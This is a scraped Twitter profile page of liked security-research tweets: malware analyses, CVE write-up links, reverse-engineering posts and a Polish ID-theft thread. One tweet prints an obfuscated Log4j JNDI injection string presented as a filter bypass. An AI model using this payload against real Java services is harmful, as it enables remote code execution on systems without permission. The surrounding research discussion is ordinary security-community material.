magu @_m4gu

Joined July 2015

Tweets

75
Followers

40
Following

332
Likes

269

Elliot @ElliotKillick

2 years ago

I just spent the last few months of my life reverse engineering the Windows 10 parallel loader and figuring out how it does concurrency. Updates have now been published! github.com/ElliotKillick/…

3 47 161 12K 86

ESET Research @ESETresearch

4 years ago

#BREAKING #ESETresearch helped analyze a #Sandworm campaign against an energy company in #Ukraine 🇺🇦 using #CaddyWiper and a new version of the infamous #Industroyer malware. #WarInUkraine welivesecurity.com/2022/04/12/ind… 1/5

10 333 544 0 45

stypr @brokenpacifist

4 years ago

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} log4j bypass lol Lessons learned: Don't use Java.

29 462 2K 0 205

Skradziono Ci dowód? Co robić? 🧵 Wątek ↓ 1️⃣ Utracone dokumenty trzeba zastrzec w systemie "dokumenty zastrzeżone". Najlepiej zrobić to osobiście w oddziale naszego banku. Część instytucji przyjmuje zastrzeżenia również telefonicznie. dokumentyzastrzezone.pl/zastrzeganie-d…

1 3 11 0 2

Anton Cherepanov @cherepanov74

4 years ago

Be careful if you download IDA Pro from non-official sources - it can be trojanized by #Lazarus

ESET Research @ESETresearch

4 years ago

Be careful if you download IDA Pro from non-official sources - it can be trojanized by #Lazarus

16 927 2K 0 135

Download Image

2 23 70 0 3

Prof. Feynman @ProfFeynman

4 years ago

• Do what interests you the most. • Spend time with nature. • Ask questions. • Never stop learning. • Don't pay attention to what others think of you. • Read everyday. • Study hard. • Teach others what you know. • Make mistakes and learn. • It's Okay to not know things!

62 5K 15K 0 899

vmcall @vm_call

5 years ago

Don't play source engine games. This 0-day was disclosed over two years ago and Valve has still not patched it.

secret club @the_secret_club

5 years ago

Don't play source engine games. This 0-day was disclosed over two years ago and Valve has still not patched it.

67 679 2K 0 146

Download Video

3 9 53 0 2

Can Bölük @_can1357

5 years ago

How come every @_markel___ post ends up with me playing with numbers?🤔

6 4 42 0 3

Download Image

ReWolf @rwfpl

5 years ago

Reverse engineering Mortal Kombat GRA file format (part 2) blog.rewolf.pl/blog/?p=1982

2 30 120 0 15

Download Gif

Kacper Szurek @KacperSzurek

5 years ago

Pozdrawiam Pana Tomasza😉

PAYLOAD - offensive IT security magazine @PayloadPl

5 years ago

Pozdrawiam Pana Tomasza😉

0 0 1 0 0

0 1 10 0 0

Adam 'pi3' Zabrocki @Adam_pi3

5 years ago

CVE-2020-16898 – Exploiting "Bad Neighbor" vulnerability. My very detailed write-up with all the caveats + PoC code blog.pi3.com.pl/?p=780

8 332 670 0 103

Jonas L @jonasLyk

5 years ago

CVE-2020-16938 - aka bits please! So...recent update changed the permissions on partitions and volume device objects, granting everybody read access. This means that by opening the device directly you can read the raw data without any privs. 7zip parses NTFS so super for POC

17 431 1K 0 102

Download Image

Mark Ermolov @_markel___

5 years ago

Finally, the casket is opened: we (+@h0t_max and @_Dmit) have extracted Intel x86 microcode! One more Intel "top secret" information gets revealed... github.com/chip-red-pill/…

19 377 960 0 112

Download Image

REDTEAM.PL @redteampl

5 years ago

Our researcher @h0wlu got credited by Google for reporting another vulnerability in Chrome - CVE-2020-6463

h0wl @h0wlu

5 years ago

Our researcher @h0wlu got credited by Google for reporting another vulnerability in Chrome - CVE-2020-6463

0 5 25 0 0

0 2 5 0 0

j00ru//vx @j00ru

5 years ago

Today I'm happy to release new research I've been working on for a while: 0-click RCE via MMS in all modern Samsung phones (released 2015+), due to numerous bugs in a little-known custom "Qmage" image codec supported by Skia on Samsung devices. Demo: youtube.com/watch?v=nke8Z3…

22 724 2K 0 105

florek @florek_pl

6 years ago

I did a small investigation into inner workings of of CVE-2019-1458. Reported in December, used in the wild. Here is my analysis: github.com/piotrflorczyk/…

1 86 228 0 26

Kacper Szurek @KacperSzurek

6 years ago

[PL] Używasz #flask i #python. Przez pomyłkę uruchomiłeś środowisko testowe. Teoretycznie dostęp do #debugger jest zabezpieczony kodem PIN. Tylko, że PIN nie jest generowany losowo. Arbitrary file read + Flask (debug mode) = RCE youtube.com/watch?v=SDlYjy…

0 3 4 0 0

Marc-Etienne M.Léveillé @marc_etienne_

6 years ago

I don’t endorse the vocabulary in this tweet but I’d like to share our side of things and perhaps set the records straight. We never really wanted to (and still don’t want to) discredit Dragos publicly, there is really no point. 1/x

3 85 221 0 12

Kacper Szurek @KacperSzurek

6 years ago

[PL] @AdamLangePL pracuje jako VP Head of Cyber Threat Hunting w Standard Chartered Bank. Opowiada na czym polega Threat Hunting oraz co to jest phishing. Rozmawiamy o PSD2, SIM-swap i metodach działania internetowych przestępców. #cybersecurity #security youtu.be/Msh4i-vIfB4